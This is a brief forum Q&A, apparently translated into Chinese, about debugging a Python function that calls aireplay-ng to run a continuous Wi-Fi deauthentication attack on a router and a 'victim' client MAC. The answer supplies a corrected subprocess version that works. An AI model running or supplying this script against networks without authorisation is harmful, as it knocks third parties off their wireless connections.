无效的 BSSID(AP MAC 地址)

Invalid BSSID (AP MAC address)

当攻击开始时在终端写这个命令,但是当我在脚本中写同样的命令时就会出错。

无效的 BSSID(AP MAC 地址)。

"aireplay-ng --help"寻求帮助。

 def deauth(mac_roteur,mac_victime,essid):
 os.system('sudo aireplay-ng -0 0 -b'+ mac_roteur+'-c'+ mac_victime + '-e'+ essid +'--ignore-negative-one mon0')

我需要帮助。谢谢。

如果你想运行命令你应该使用subprocess模块:

from subprocess import check_call
def deauth(mac_roteur,mac_victime,essid):
    check_call(['sudo', 'aireplay-ng','-0', '0', '-b', mac_roteur, '-c',  mac_victime, '-e',  essid, '--ignore-negative-one','mon0'])

我假设您正在使用 sudo 运行脚本。